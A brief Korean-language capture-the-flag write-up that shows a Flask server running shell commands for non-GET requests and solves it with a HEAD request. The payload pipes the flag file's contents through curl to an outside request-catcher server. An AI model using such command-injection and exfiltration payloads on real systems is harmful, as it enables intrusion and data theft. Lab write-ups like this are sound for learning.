[문제]
Read the flag file XD
[해결법]
- HTTP GET Method 우회하여 푸는 문제였다
- 아래 서버 코드를 보면 GET request를 받을 경우 GET 요청이 아닐 경우 커맨드가 실행되는 것을 확인할 수 있었다.
#!/usr/bin/env python3
from flask import Flask, request
import os
app = Flask(__name__)
@app.route('/' , methods=['GET'])
def index():
cmd = request.args.get('cmd', '')
if not cmd:
return "?cmd=[cmd]"
if request.method == 'GET':
''
else:
os.system(cmd)
return cmd
app.run(host='0.0.0.0', port=8000)
-
BURP로 OPTIONS 요청을 보내 사용가능한 Method를 확인했다.
-
GET으로는 우회가 안되니 HEAD를 활용한 문제라는 것을 알 수 있었다.
-
HEAD 메소드 특성상 body가 들어가지 않기 떄문에 curl을 이용해 외부서버에 요청하기로 생각했다.
참고
-
요청 서버는 dreamhack 에서 제공하는 서버에 요청하기로 생각을 했고 payload를 작성해서 날리니 해결되었다.
- dreamhack tool : https://tools.dreamhack.games/
-
HEAD /?cmd=curl -d “$(cat flag.py)”
-
정답화면은 SKIP
++ app.py를 수정해서 답을 찾아볼까도 생각을 했는데, 쓰기 권한이 빠져있어서 이건 안될 것이라고 생각이 든다.